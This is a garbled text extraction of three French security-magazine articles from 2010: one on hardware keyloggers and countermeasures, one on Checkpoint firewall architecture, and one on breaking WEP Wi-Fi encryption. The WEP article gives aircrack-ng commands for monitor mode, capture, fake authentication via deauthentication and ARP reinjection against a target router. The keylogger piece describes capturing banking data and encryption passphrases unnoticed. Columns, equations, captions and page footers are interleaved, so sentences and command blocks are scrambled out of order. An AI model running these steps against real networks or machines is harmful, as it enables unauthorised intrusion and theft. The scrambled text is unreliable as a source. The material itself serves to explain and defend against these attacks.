L'un des points particulièrement forts des keyloggers matériels est l'enregistrement de l'ensemble des données dès le lancement de l'ordinateur, sans être détectés par les anti-virus ou anti-spywares. Il est donc possible de récupérer des mots de passe cryptés sur le système cible ou à partir du BIOS. L'utilisation de keyloggers matériels est discrète et ne provoque pas l'affichage de messages d'avertissement à l'écran de l'utilisateur. À noter également que ce type de keyloggers est indépendant du système d'exploitation utilisé. Windows, Linux/ UNIX, Mac OS, Solaris n'offrent aucune protection contre les keyloggers matériels. Les keyloggers matériels ont également l’avantage de récupérer les données saisies par l’utilisateur sans laisser de traces (Voir Figure 4). Avec des keyloggers matériels sans fil ou Bluetooth [8], l'attaquant doit disposer de plusieurs points d'accès à la machine même si un seul point d’accès physique est suffisant. En clair, vous ne pouvez pas envoyer de logs vers une ou plusieurs adresse(s) mail(s) (Voir Figure 5). Autre désavantage, tous les claviers ne sont pas supportés et le fichier log peut être corrompu ou incomplet. L'analyse peut être longue et difficile. Bien que toutes les frappes claviers soient enregistrées, rien ne permet d'indiquer la provenance (site Web, formulaires, document Word, Tchat, banque...) des données capturées. Il est donc difficile de faire la différence entre données sensibles ou non (Voir Figure 6). Par ailleurs, le prix de ce type de matériel est coûteux et dépend des fonctionnalités d'installation/ désinstallation recherchées.
Implémentation et modèles La plupart des keyloggers sont fournis avec un microcontrôleur et une mémoire
non-volatile de type EEPROM ou FLASH. La capacité mémoire de ce type de supports est relativement faible (512ko et 4Mo) mais amplement suffisante pour enregistrer des données texte. Il existe également des modèles PS/2 et USB. Vous n'avez donc pas à vous soucier de cet aspect lorsque vous branchez l'appareil au clavier (Voir Figure 7). Les claviers fonctionnent tous à peu près de la même manière. Toutes les touches sont répertoriées sous la forme d'une matrice. Chacune a soit le statut key down (touche enfoncée), soit key freed (touche libérée). Un microcontrôleur, appelé encodeur de clavier, détermine le statut de chaque touche et transmet l'information à l'ordinateur par scancode. La carte mère possède un contrôleur clavier qui récupère ces données, les décode et les transmet au système d'exploitation ou au logiciel [9]. Le protocole PS/2 est un protocole simplifié, compatible avec tout type de claviers. Même si l'USB tend à le remplacer, ce protocole est toujours utilisé dans le monde entier. La norme USB est gérée de manière plus complexe, mais les touches clavier sont enregistrées sans difficulté. Généralement, les données sont d'abord récupérées avant d'être recopiées sur le support. Outre les multiples possibilités de connexion et d'enregistrement des frappes clavier, de nombreux keyloggers disposent de fonctionnalités de cryptage, horodatage et communications sans fil. Le cryptage des données est utilisé comme méthode de protection lors d'un accès frauduleux à une page non autorisée (détection/analyse). Selon l’objectif visé, les keyloggers qui disposent de fonctions timestamping peuvent être utilisés pour des enquêtes ou pour analyser l’utilisation des ressources en période de temps de travail.
Figure 2. Avant/Après [2] 03/2010 HAKIN9
30_35___hardware.indd 31
31
2010-03-10, 16:20:27
FOCUS Les technologies sans fil, telles que le Bluetooth, permettent à l'attaquant de récupérer des fichiers logs à distance. Les mécanismes d'authentification fondés sur le temps sont facilement contournés et les données facilement récupérées. En fonction du modèle de keylogger, les données peuvent être récupérées à distance. En Bluetooth, la distance maximale est de 300 mètres bien qu'il soit possible d'aller plus loin avec des antennes pour atteindre des distances de 1Km ou plus (Voir Figure 9). Les fichiers logs sont récupérés sur chaque ordinateur possédant le keylogger. En général, un mot de passe doit être saisi dans un éditeur de texte afin de générer un menu avec options ou passer en mode Flash USB. Cela se fait à partir de la machine cible ou sur tout autre (Voir Figure 10) machine. Un keylogger est difficilement repérable. Aucun signe particulier, ralentissement ni aucune anomalie ne permet à l’utilisateur d’en soupçonner l’existence (Voir Figure 11). Le prix d'un keylogger varie de 30$ à 100$, il existe différents modèles pour tous les budgets.
Autre scénario possible, l'utilisation d'un keylogger pour récupérer des coordonnées bancaires. N.B. Le fait de voler l'argent du compte bancaire de la victime vers le compte de l’attaquant reste difficile. Des programmes de cryptage de type TrueCrypt permettent de protéger les données sensibles des entreprises ou des agences gouvernementales. Avec un keylogger matériel, les touches utilisées pour décrypter ces données peuvent être récupérées et enregistrées. Par conséquent, le problème des données préalablement cryptées ne se pose plus (Voir Figure 12).
Contre-mesures Les entreprises doivent régulièrement procéder à des audits en interne. Ces
audits permettent d'appliquer des contremesures et d'instaurer une politique de sécurité de l'information dans l'entreprise. Les employés doivent suivre également des formations pour prévenir les attaques et savoir y répondre. La majorité des keyloggers sont branchés entre le clavier et l'ordinateur. D'autres sont intégrés au clavier et certains sont insérés dans l'ordinateur. La meilleure protection reste la sécurisation des accès physique. Par exemple : capteurs biométriques, analyses régulière des systèmes, accès réservés... En outre, des autorisations spécifiques peuvent être attribuées pour certains membres du personnel. De préférence, lorsque l'accès est initié.
Scénarios Les keyloggers matériels sont une véritable menace. Ils peuvent être utilisés avec d'autres attaques pour compromettre un système informatique. L'objectif est généralement d'obtenir des informations avant de poursuivre une attaque. Parfois, il suffit à l’attaquant d’obtenir un seul mot de passe utilisateur pour perpétrer une attaque à grande échelle. Ce principe se retrouve sur les sites Web, forums, réseaux sociaux et autres sites apparentés. Ces sites contiennent généralement des données dites sensibles.
Figure 5. Mise en place d'un Keylogger Bluetooth [8]
Figure 6. Exemple de fichier log
32 HAKIN9 03/2010
30_35___hardware.indd 32
2010-03-10, 16:20:34
LES KEYLOGGERS MATÉRIELS - UNE MENACE SÉRIEUSE
Si la limitation de l'accès physique est difficile à mettre en œuvre, il est toujours possible de sécuriser les connexions de l’ordinateur. Lorsque les connexions PS/2 et USB ont été correctement paramétrées, il est difficile de brancher un autre appareil. Si un attaquant n'a pas accès à l'ordinateur, ni aux connexions, il cherchera à s'attaquer au clavier. Sur le clavier (et les boîtiers d'ordinateurs) des scellés peuvent être ajustés, semblables à celles qui sont sur les portables et les disques dur. D'autres mesures plus onéreuses existent, comme les CCTV ou gardiens de sécurité. Les keyloggers matériels ne sont pas détectés par les logiciels ; par conséquent, une inspection visuelle est recommandée. Les fils clavier/souris sont à disposer de manière à procéder plus rapidement à l'inspection. Il en va de même pour les scellés présents sur le clavier et l'ordinateur. Il est également recommandé de ne pas utiliser de convertisseurs PS/2 et USB, ni de rallonges, qui pourraient s'apparenter aux keyloggers matériels. Ainsi, un keylogger
sera plus facilement détecté parmi tous les branchements à l’ordinateur. Bien que l'auteur n'ait pas trouvé de keyloggers qui fonctionnent en tant qu'adaptateurs, rien ne prouve qu'il n'en existe pas. Autre recommandation : utiliser les claviers virtuels pour la saisie de données
sensibles et mots de passe. Un clavier virtuel existe par défaut sous Windows XP (Démarrer >Tous les programmes >Acces soires >Accessibilité > Clavier visuel) (Voir Figure 14). Dans ce cas, la souris est utilisée pour entrer les informations à l’écran. Les keyloggers matériels ne peuvent
Figure 10. Logiciel KeyCarbon - Récupérer les fichiers logs
Figure 7. Microprocesseur et contrôleur de circuit [12]
enregistrer ces données étant donné qu'il ne s'agit pas de connexions physiques. Cependant, pour un usage quotidien cette méthode n'est pas appropriée. Certains keyloggers avec des fonctionnalités avancées peuvent récupérer ces données en utilisant cette méthode. Les techniques de shoulder surfing (vol de données en jetant en coup d'œil) peuvent également être employées.
Modèles futures Les futurs modèles offriront plus de fonctionnalités alors que nous assistons à une miniaturisation des supports sans fil. Max Moser et Keykeriki [10] ont récemment sorti un sniffer sans fil pour clavier. Les frappes clavier sont enregistrées à distance sur une fréquence de 27MHz. Avec l'essor du sans fil, ces techniques seront de plus en plus utilisées. Elles pourraient également être utilisées dans le domaine de l'acoustique. En effet, les ondes sonores sont mesurées à chaque frappe clavier, ce sont ces données que l’attaquant récupérera. Plusieurs études ont démontré que cette technique est efficace pour récupérer 90 à 96% des frappes clavier d'un fichier son d’une durée de 10 minutes [11].
Conclusion Figure 12. Avant/Après (Keylogger sans fil)
Figure 13. Keyghost USB - Keylogger [4]
Nous vous avons donné un bref aperçu des techniques utilisées sans tomber dans l'exhaustivité. Ces attaques sont faciles à mettre en œuvre et peuvent provoquer de lourds dégâts. Bien que peu utilisés, les keyloggers matériels représentent une vraie menace pour les entreprises et les particuliers. Il existe plusieurs contre-mesures dont certaines sont faciles à mettre en œuvre pour réduire considérablement les risques. N'oublions pas que la formation des employés joue également un rôle primordial et qu’un utilisateur averti en vaut deux !
Michael R. Heinzl
Figure 14. Clavier virtuel Microsoft Windows XP
Michael R. Heinzl est un expert en sécurité informatique depuis plusieurs années et se spécialise dans les tests d'intrusion et les techniques de rétro-ingénierie. Vous pouvez le contacter directement à partir de son site www.awesec.com ou sur le site de sécurité autrichien www.defense.at.
34 HAKIN9 03/2010
30_35___hardware.indd 34
2010-03-10, 16:20:53
30_35___hardware.indd 35
2010-03-11, 12:55:52
PRATIQUE TONY FACHAUX
La sécurité périmétrique avec Checkpoint Degré de difficulté
Nous vous présenterons, d'une manière générale, les moyens techniques à mettre en œuvre pour réaliser une sécurité périmétrique efficace avec l'un des équipements Checkpoint. Cette sécurisation passe par la mise en place d'un pare-feu. Nous parlerons de la technologie Checkpoint, leader dans la sécurité périmétrique auprès des plus grandes organisations, comme des banques.
L
a sécurité périmétrique est aujourd'hui une composante essentielle à la sécurité d'une infrastructure. Cette sécurité passe par la mise en place d'un pare-feu (ou firewall). De nombreux constructeurs sont présents sur ce créneau, tels Cisco, Checkpoint ou encore Juniper. Nous traiterons ici de la technologie Checkpoint
qui est une technologie leader sur le marché et qui protège les plus grandes organisations dans le monde.
Rappel sur les pare-feux Un firewall est un équipement physique de sécurité réseau qui permet de filtrer le trafic entre différents
LAN
DMZ Management
Clusters de firewalls Checkpoint
CET ARTICLE EXPLIQUE... Comment fonctionne la technologie Checkpoint. Comment sécuriser une architecture réseau avec Checkpoint.
Utilisateur
SmartCenter
CE QU'IL FAUT SAVOIR... Quelques notions sur le fonctionnement d'un firewall.
Figure 1. Schéma de principe d'une architecture Checkpoint
36 HAKIN9 3/2010
36_39____checkpoint.indd 36
2010-03-10, 16:21:43
LA SÉCURITÉ PÉRIMÉTRIQUE AVEC CHECKPOINT
réseaux. Les firewalls réseau actuels sont stateful, c'est-à-dire qu'ils conservent toutes les sessions dans une table. C'est bien plus efficace que du simple filtrage de paquets proposés sur des routeurs utilisés avec des access lists. Nous n'irons pas plus loin dans la définition d'un firewall car nous partons du principe que vous avez les bases dans ce domaine. Notre but est de vous présenter les principes de la technologie Checkpoint.
encore plus accrue, il est même conseillé d'avoir deux barrières firewalls avec des versions différentes, voire de constructeurs différents. Les firewalls Checkpoint ne s'administrent pas directement en se connectant dessus en SSH ou HTTP. Il faut installer sur un serveur à part, une station de management. Cette station est la SmartCenter qui tourne, elle aussi, sur différentes plates-formes (Windows, Solaris ou Secure Platform). La figure 1 représente un schéma de principe
montrant une architecture Checkpoint de base. La flèche rouge représente les flux d'administration alors que la flèche bleue représente le flux qui installe la politique sur les firewalls. Les firewalls se gèrent à travers le serveur et non pas en s'y connectant directement.
La console d'administration La console d'administration Checkpoint est accessible avec un client appelé
L'architecture Checkpoint Avant toute chose, il convient d'expliquer un peu l'architecture Checkpoint qui est un peu particulière. Checkpoint est en fait un UTM (Unified Threat Management), c'est-à-dire une appliance qui dispose de plusieurs fonctionnalités de sécurité comme le pare-feu réseau, l'IPS, le VPN SSL ou encore le filtrage d'URL. Depuis sa création, Checkpoint est majoritairement utilisé comme pare-feu, ce qui en fait sa force. Il est aussi beaucoup utilisé pour sa fonctionnalité VPN site à site. La couche firewall Checkpoint est installée sur une plate-forme. Elle s'installe soit sur une plate-forme de type Windows, soit Solaris, Secure Platform ou encore Nokia IPSO. Secure Platform est un OS fondé sur une Red Hat Linux développée par Checkpoint. Les plates-formes Windows, Solaris et Secure Platform ne sont en fait que de simples serveurs. Nokia IPSO est un OS s'appuyant sur FreeBSD qui tourne sur une appliance. Mais depuis le rachat de Nokia par Checkpoint, un nouvel OS issu de la fusion entre IPSO et Secure Platform est en cours de développement. Cet OS s'appelle Gaia. Par expérience, les firewalls les plus performants sont ceux tournant les plates-formes Nokia IPSO. Puisque les firewalls Checkpoint protègent généralement de grandes organisations, ils sont redondés. Deux barrières de firewalls (une barrière en frontend et une en backend) sont aussi relativement souvent rencontrées. C'est ce qui s'appelle faire de la sécurité en profondeur. En effet, si un pirate arrive à pénétrer les DMZ publiques qui sont derrière la première barrière de firewall, il y a encore une autre barrière de firewall à pirater, ce qui complexifie énormément la tâche des pirates. Pour une protection
Figure 2. Console d'administration Checkpoint
IP Publique: x.x.x.x.
DMZ Publique
Clusters de firewalls Checkpoint
IP Privée 192.168.0.1
Figure 3. Static Source NAT 3/2010 HAKIN9
36_39____checkpoint.indd 37
37
2010-03-11, 12:56:51
PRATIQUE SmartDashboard qui s'installe sur une station de travail tout à fait classique. Son
utilisation est relativement simplement, d'un côté nous pouvons modifier et ajouter des
IP Publique: x.x.x.x.
DMZ Publique
Clusters de firewalls Checkpoint
192.168.0.1:80 192.168.0.2:21
règles de filtrage en spécifiant la source, la destination, le protocole, si nous loggons ou non, la plate-forme sur laquelle appliquer la règle et enfin un commentaire. Depuis un autre onglet, nous avons aussi la possibilité d'ajouter ou modifier des règles de NAT sur le même principe que précédemment. Checkpoint s'administre à l'aide d'une base objets qui se trouve à gauche de l'écran. Elle contient des objets classiques (des IP), des groupes d'objets, des services. Nous avons aussi la possibilité de créer des objets polymorphiques : il s'agit d'objets qui disposent d'une IP différente en fonction du site sur lequel est déployée la policy. Depuis cette console, nous gérons aussi les platesformes Checkpoint ainsi que quelques paramètres réseau. Un paramètre important à vérifier est le nombre de sessions maximum que peut supporter le firewall, sans oublier la durée durant laquelle une session reste active dans le firewall. Vous trouverez sur la figure 2 une représentation de cette console d'administration.
Les règles de filtrage Nous avons vu un peu plus haut que la console d'administration permettait de gérer les règles de filtrage et de NAT qui sont les 2 éléments majeurs dans la gestion d'un firewall. Comme son nom l'indique, les règles de filtrage permettent d'autoriser ou non un flux réseau selon sa source, sa destination et son protocole. Par défaut, tout ce qui n'est pas explicitement autorisé est interdit.
Figure 4. Static Dynamic NAT
IP Publique:
Le NAT
LAN
Chez Checkpoint, il existe trois types de NAT : • Clusters de firewalls Checkpoint
•
Réseau privé 192.168.0.0/24
•
Le Static Source NAT qui permet de nater une IP privée vers une IP publique (figure 3) Le Static Dynamic NAT qui permet de rediriger un flux d'Internet avec un port spécifique vers un serveur situé en DMZ (figure 4) Le Hide NAT permet, quant à lui, de nater un groupe d'IP privées vers une IP publique (figure 5).
La redondance Figure 5. Hide NAT
Comme indiqué plus haut, il est important d'avoir un cluster de firewalls pour la
38 HAKIN9 3/2010
36_39____checkpoint.indd 38
2010-03-11, 12:59:57
LA SÉCURITÉ PÉRIMÉTRIQUE AVEC CHECKPOINT
Sur Internet • •
http://www.checkpoint.com/ – Site officiel de Checkpoint. http://www.cpug.org/ – Site consacré à Checkpoint.
tolérance de panne. Généralement installé sur des plates-formes Nokia, la technologie VRRP est utilisée pour redonder les firewalls. Dans ce cas, les tables de sessions sont échangées en temps réel et si un firewall tombe, l'autre prend le relais de façon complètement transparente pour les utilisateurs.
Le Troubleshooting SmartView Tracker Afin de troubleshooter les flux transitant dans le firewall, l'utilitaire SmartView Tracker de Checkpoint est extrêmement efficace. Il permet de consulter tous les logs du firewall. Vous pouvez observer un aperçu sur la figure 6.
Fw monitor Fw monitor est un utilitaire propriétaire Checkpoint qui équivaut un peu à tcpdump sous Unix. C'est un outil très efficace pour récupérer des traces réseau et analyser des requêtes.
Figure 6. SmartView Tracker
Exemple d'architecture Checkpoint
Routeur opérateur 1
Frontend
Routeur opérateur 2
DMZ Publique
Conclusion Nous venons de voir uniquement les bases de la sécurité périmétrique avec Checkpoint et pourtant, la performance de cette technologie et ses très bons outils de troubleshooting semblent évidents.
interco
Backend LAN
La figure 7 représente un cas réel d'exemple d'architecture Checkpoint. Les firewalls Checkpoint sont positionnés derrière des IPS réseau, euxmêmes disposés derrière les routeurs Internet. Les firewalls sont configurés en cluster et sont directement connectés au cœur de réseau de la société.
DMZ Management
À propos de l'auteur SmatrCenter
Figure 7. Exemple d'architecture Checkpoint
L'auteur travaille en tant qu'ingénieur sécurité chez Dimension Data Luxembourg. Son métier consiste en la conception, la mise en œuvre et le support d'architectures de sécurité pour des clients grands comptes. Diplômé d'un Master en « Sécurité Informatique » à l'EPITA à Paris, il se passionne pour les technologies de sécurité de l'information.
3/2010 HAKIN9
36_39____checkpoint.indd 39
39
2010-03-11, 13:00:24
PRATIQUE DAVID TORTEL
Intrusion et exploitation d'un réseau mal sécurisé Degré de difficulté
Souvent au cœur des polémiques, le protocole Wired Equivalent Privacy reste implémenté par défaut dans la plupart des routeurs domestiques, voire des entreprises peu soucieuses de la sécurité de leurs systèmes d'information. Cet article propose un nouveau tour d'horizon du fonctionnement de ce protocole et de ses faiblesses. L'approche se veut didactique afin de comprendre en profondeur les différentes étapes de la compromission d'un réseau peu sécurisé.
N
ous nous concentrerons dans une premiere partie sur le contrôle d'un point d'accès à chiffrement faible. Celui-ci, au mieux, utilise un protocole de chiffrement de type WEP – Wired Equivalent Privacy –.
Le chiffrement Wired Equivalent Privacy
CET ARTICLE EXPLIQUE... Le fonctionnement détaillé du protocole WEP, ses faiblesses, l'intrusion dans un réseau wifi mal sécurisé, les fondements et la réalisation d'un rogue AP, d'une attaque MITM avec le logiciel ettercap et d'un empoisonnement DNS.
CE QU'IL FAUT SAVOIR... Connaissances sur le protocole DNS, connaissances de base d'UNIX et des certificats numériques
Que ce soient les particuliers avec les box ou les entreprises avec des routeurs plus professionnels, tous ont souvent recours à des points d'accès sans fil Wifi pour des questions de mobilité. Dans le cas des particuliers, le wifi est souvent fourni par défaut et activé dans les box avec un chif frement faible : WEP. Pour introduire l'étonnante actualité de cet article sur l'éternel sujet de la sécurité du WEP, une étude menée à Paris démontre que 41% des box ont un chif frement WEP, 47% un chif frement WPA et 12% sont non sécurisées. Cette étude est publiée dans l'article Tour d'horizon du wifi à Paris, MISC Janvier/Février
Le protocole WEP a été pensé afin de rendre confidentiels les dialogues Box/ ordinateurs, dans une optique de sécurité. L'idée était de proposer une sécurité semblable à celle qu'of frait l'Ethernet c'est-à-dire que les messages doivent être accessibles par l'ensemble des machines du sous-réseau et celles-là uniquement. Dans cette optique, chaque donnée est chif frée avec une clé secrète puis transmise ainsi sur le canal de telle
2009.
sorte que seule une machine possédant la clé puisse comprendre le message. Néanmoins, ce protocole de chif frement possède plusieurs failles le rendant vulnérable. Dès lors, des outils se sont développés en vue d’exploiter ces failles. Après avoir compris les problèmes intrinsèques au protocole, nous allons étudier l’utilisation de l’un de ces outils, la suite Aircrack–ng – open source – utilisée avec une distribution de linux spécialisée dans l'analyse réseau et les tests d'intrusion : Backtrack .
Les Beacons Un point d'accès envoie de façon régulière et rapprochée – en moyenne toutes les 0,1 secondes – des trames de balisage. Celles-ci, nommées beacons, permettent à une station qui pénètre dans la zone d'émission du point d'accès de connaître son existence, ainsi que certains paramètres de la cellule Wifi – en général : SSID, ESSID, la liste des débits ainsi que les modes et les méthodes d'authentification – En écoutant, nous connaissons alors l’ensemble des points d'accès – que nous nommerons dans toute la suite AP – non invisibles qui émettent à une distance raisonnable : il s'agit de l’ensemble des AP à l'origine des beacons reçus. Il est important de noter ici que certains points d'accès sont configurés pour ne pas émettre de beacons, ce qui constitue une mesure de sécurité performante lorsqu'aucune station n'est connectée.
40 HAKIN9 3/2010
40_49____wifi.indd 40
2010-03-10, 16:24:26
INTRUSION ET EXPLOITATION D'UN RÉSEAU MAL SÉCURISÉ Les caractéristiques du WEP Le protocole WEP, pensé dans le but de fournir une sécurité dans les réseaux sans fil respecte la triade CIA des critères fondamentaux de la sécurité: • •
•
l'authentification, la confidentialité des données : chaque donnée est chiffrée avec une clé partagée par l'ensemble des stations du réseau et par l'AP, l'intégrité des données.
L'authentification Chaque station, avant de communiquer avec le point d'accès et d'être en mesure de faire des requêtes sur la toile doit au préalable s'authentifier. On compte deux sortes d'authentification: •
Open System Authentification
Chaque station qui le souhaite est immédiatement authentifiée •
[Cle | iv]
[Donnees | CRC32(Donnees)] et RC4(Cle | iv) ,
En parallèle, nous nous occupons de l'intégrité des données : nous faisons une somme de contrôle CRC32 – contrôle de redondance cyclique également utilisé en Ethernet – que nous concaténons avec les données à transmettre pour nous ramener à : [Donnees | sommeCRC32]
Nous reprenons la graine et lui appliquons un chiffrement RC4 – algorithme simple à implémenter qui se fonde sur la clé – Nous nous retrouvons maintenant avec RC4(Cle | iv)
Ce dernier résultat nous permettra de chiffrer les données que nous souhaitons envoyer. En effet, nous faisons un où exclusif entre les entités
cela donnera notre message chiffré. Sur les ondes apparait alors la trame – RC4(Cle | iv)XOR[Donnees | CRC32(Donnees)]
– avec le vecteur d'initialisation transmis en clair afin que l'AP puisse déchiffrer le message.
Les faiblesses du WEP Le protocole WEP, dont nous venons de décrire brièvement le fonctionnement, comporte plusieurs failles que nous pouvons maintenant expliciter. Pour commencer, aucun mécanisme ne permet d'empêcher le rejeu ou l'injection de données, ce qui, nous le verrons, nous permettra de mettre la main sur la clé.
Shared Key Authentification
La station qui veut se connecter sur la toile fait une requête d'authentification auprès de l'AP. Celle-ci lui envoie un défi. Il s'agit d'un texte de 128 octets aléatoires, envoyé en clair. La station désireuse de s'authentifier doit chiffrer le texte avec la clé. Une fois chiffré, le message est renvoyé au routeur. L'AP déchiffre le message et le compare au message initial. S'il y a concordance, la station est acceptée et l'AP envoie une trame positive d'authentification ; dans le cas contraire, la station est refusée.
Confidentialité et intégrité des données La clé de chiffrement des données est composée de la clé partagée – clé de 40 bits, 104 bits ou 232bits – et d'un vecteur d'initialisation – suite aléatoire de 24 bits – qui change à chaque trame émise. La première étape de l'émission d'une trame consiste à calculer cette clé: Il faut commencer par concaténer la clé partagée et le vecteur d'initialisation pour se ramener à une graine – ou Key Scheduling Algorithm de 64 bits, 128 bits ou 256 bits. On a
Figure 1. Les routeurs TECOM-AH4021 et 4222 utilisent par défaut des clés WEP directement reliées à leur ESSID
Figure 2. Le position de MITM permet de contrôler l'intégralité du trafic non sécurisé 3/2010 HAKIN9
40_49____wifi.indd 41
41
2010-03-10, 16:24:33
PRATIQUE La séquence d'authentification est en clair.
RC4(Cle|iv)
Si nous réussissons à écouter une demande d'authentification – nous pouvons créer une demande d'authentification en déconnectant n'importe quelle station - , nous aurons accès à suffisamment de données pour répondre à n'importe quel challenge et donc s'authentifier sans connaitre la clé. En effet, notons C le challenge, c'est-à-dire le texte que propose l'AP pour l'authentification. Ce texte est émis en clair à une machine qui désire se connecter. Nous pouvons donc avoir accès à C. La machine qui connait la clé renvoie à l'AP la réponse
est longue de 144 octets, nous pouvons donc commencer à envoyer des requêtes ARP ou HTTP dont la longueur est inférieure à 144 octets. Cette sortie nous permettra également de déchiffrer les 144 premiers octets de tous les messages envoyés avec ce vecteur d'initialisation.
P' = RC4(Cle|iv) XOR (M'|CRC32(M'))
Une autre condition sine qua non de l'utilisation de cet algorithme RC4 est de laisser de côté les 512 premiers octets de la sortie RC4 afin d'éviter de construire une clé faible. En effet, de telles clés procurent des informations sur l'état interne de la table RC4. Pourtant, cette condition, au début du WEP, n'est pas implémentée. Par ailleurs, une clé faible se reconnaît par ses trois premiers octets, soit en l'occurrence le vecteur d'initialisation qui est, comme précisé ci-dessus, transmis en clair sur les ondes. La suite va consister à trouver le maximum de sortie RC4(Cle|iv). Le but est de récupérer le maximum de trames avec des iv faibles qui permettront d'avoir des connaissances sur l'état interne de RC4 et donc de trouver purement et simplement la clé. Cette attaque date de 2001. Très vite, les constructeurs ont supprimé les iv faibles ; il a donc fallut attendre qu'une amélioration voit le jour. Celle -ci n'a pas trop tardé à arriver. En effet, H1kari et Korek ont tout d'abord tenté d'étendre ce type d'attaque à d'autres iv avant de parvenir à l'étendre à l'ensemble des vecteurs d'initialisation. L'idée sousjacente est qu'il est possible de prévoir avec une très bonne probabilité la plupart des octets présents dans l'entête des paquets car ceux-ci répondent à des normes assez strictes. L'implémentation la plus célèbre qui utilise cette méthode est le logiciel Aircrack que nous exploiterons plus loin. Pour cela, nous injectons dans le réseau un maximum de requêtes dont nous sommes capables d'anticiper la réponse afin de récupérer le maximum de iv et de réduire l'entropie des clés.
d'où
Des astuces
Une clé trop courte
nous pourrons faire une demande d'authentification puis répondre au challenge avec le même iv. Une fois authentifié, et toujours en possession de la sortie
L'entropie du domaine des clés est faible. En effet, même si la clé qui sert au chiffrement – RC4(clé|iv) – est codée 128 ou 256 bits, la partie principale de la clé est statique et seul le vecteur d'initialisation codé sur 24 bit est variable. Par conséquent l'espace des clé est en soit réduit à 24 bits, ce qui est extrêmement faible. Dès lors, le calcul de probabilité – voir paradoxe des anniversaires démontre qu'il y a 99% de probabilités d'avoir une collision de clés toutes les 12000 émissions, c'est-à-dire toutes les 12000 trames émises nous avons 99% de possibilités de retomber sur le même vecteur d'initialisation. 12000 trames sont émises environ en une vingtaine de secondes. Or, des études démontrent que l'utilisation de la même sortie RC4 dans le même contexte provoque une fuite d'informations importante. En effet, en gardant les notations précédentes et si P et P' sont deux trames qui ont utilisé le même vecteur d'initialisation pour chiffrer deux messages M et M', il vient
RC4(Cle|iv)
P = RC4(Cle|iv) XOR (M|CRC32(M))
R=RC4(Cle|iv)\XOR(C|CRC32(C)),
ce qui correspond au message C chiffré. Nous trouvons donc immédiatement avec un XOR RC4(Cle|iv)=R XOR (C|CRC32(C) –
R et C sont connus, donc nous en déduisons une clé particulière, celle relative au vecteur d'initialisation utilisé lors de l'authentification de la machine légitime. Une fois connue la sortie RC4(Cle|iv),
récupérée, nous sommes capables de commencer à envoyer des requêtes qui seront comprises par l'AP – nous envoyons toujours des messages avec le même iv –. La sortie
P XOR P' = (M|CRC32(M)) XOR (M'|CRC32(M'))
Figure 3. Le protocole DNS permet la traduction d'une URL en adresse IP
Une astuce consiste à utiliser un iv connu pour chiffrer une trame longue - mais inférieure à la MTU du lien - que nous fragmentons ; l'AP, en recevant la trame, la réassemble puis la rechiffre avant de la réémettre. Nous aurons donc accès à un nouvel iv avec une sortie du RC4 plus intéressante. Une autre astuce développée par Korek porte sur le caractère linéaire de la fonction CRC32 utilisée pour calculer l'intégrité d'un message. Dès lors, il est possible de modifier un paquet légitime et de l'injecter dans le trafic de telle sorte que ce paquet
42 HAKIN9 3/2010
40_49____wifi.indd 42
2010-03-10, 16:24:41
INTRUSION ET EXPLOITATION D'UN RÉSEAU MAL SÉCURISÉ
soit valable. La méthode chopchop repose également sur le fait qu'un message tronqué devient invalide. L'idée est donc de tronquer un message légitime de son dernier octet et de le renvoyer. En effet, en effectuant un XOR avec une certaine valeur, le message tronqué M deviendra de nouveau valide. Cette valeur ne dépend que de l'octet tronqué, ce qui donne une fois de plus des informations intéressantes.
La prise de contrôle d'une box à chiffrement faible Voici une procédure qui permet de découvrir en quelques minutes la clé WEP souhaitée : Nous détectons les interfaces wifi présentes sur notre ordinateur et nous nous assurons que notre carte wifi permet l’injection de paquets. Ceci dépend des puces – chipset – positionnées sur la carte réseau. Des listes de cartes wifi supportant l’injection de paquets sont disponibles sur internet. Nous sélectionnons l’interface choisie et la plaçons en mode monitor : ce mode – également appelé mode promiscuous – permet à notre ordinateur de recevoir tous les paquets, même ceux qui ne nous sont pas destinés. Ces différentes actions se font avec les lignes de commandes suivantes :
réception du signal, les ESSID et BSSID – respectivement les noms et adresses MAC de l’AP –, le canal d’émission, ainsi que le type de chiffrement de chacun des routeurs. Nousne nous concentrerons évidemment que sur les routeurs qui utilisent un chiffrement de type WEP. Pour restreindre notre attaque sur une seule box, nous passerons en paramètre l'adresse MAC du point d'accès cible et le canal sur lequel il émet. Nous lançons un processus d'association. La notion d'association dans les réseaux wifi correspond à la mise en relation d'un point d'accès avec notre station. Cette association n'est possible que si le processus d'authentification de la station auprès de l'AP a réussi avec succès. Il s'agit donc de s'authentifier auprès du point d'accès. Pour cela, nous utiliserons une attaque "–1" dite de fake authentication. Cette attaque enverra un paquet de désauthentification à une station connectée qui recherchera alors immédiatement à se reconnecter. Notre ordinateur prendra alors soin d'écouter attentivement le défi proposé et récupèrera ainsi une sortie RC4 afin de se faire passer à son tour pour une machine légitime. Nous ouvrons une seconde console en parallèle pour laisser tourner airedump et nous proposons la ligne de commande suivante :
Nous allons maintenant utiliser airplay qui est un injecteur de paquets. "Le but est ici de générer des messages chiffrées en grande quantité avec des vecteurs d'initialisation – iv – variés de telle sorte qu'à terme, nous aurons suffisamment de iv faibles pour réduire l'entropie du domaine des clés et la découvrir". La documentation sur aireplay indique que l’attaque la plus pertinente est l’attaque de type –3, dite de réinjection d’ARP. Il s’agit en fait d’injecter des requêtes ARP que nous envoyons par milliers au point d’accès. L'avantage de l'injection d'ARP est que les paquets transmis sont très courts et, comme ils correspondent à une certaine norme, la réponse de l'AP est connue dans la quasi totalité. La syntaxe est la suivante : $aireplay–ng –3 –e ESSID –b @_mac_AP –h @_mac_station interface
Puis, pour finir, nous utiliserons le fichier de capture, fichier dans lequel tous les paquets ont été positionnés. Pour avoir des chances de trouver la clé, comptons qu’il
$ airmon–ng //détecte les interfaces wifi $ airmon–ng start ath0 // met l’interface
ath0 en mode promiscuous. Nous sommes donc maintenant en mesure de capter et de lire – sans les comprendre encore – tous les paquets qui sont échangés et qui circulent sur des ondes wifi. Maintenant que nous sommes en mesure d’écouter le réseau, nous pouvons commencer à analyser le spectre wifi pour découvrir les points d'accès. Pour cela, nous utilisons airodump, qui fait partie de la suite aircrack. La ligne de commande correspondante est : $airodump–ng
--write
capture
ath1 //scanne le réseau et écrit dans le
fichier capture Cette commande a pour effet de capter tous les beacons émis et dresse ainsi la liste des AP à distance raisonnable. Nous pouvons apprécier la puissance de
Figure 4. Exemple de figure : ne mettez pas de point final après la description 3/2010 HAKIN9
40_49____wifi.indd 43
43
2010-03-10, 16:24:49
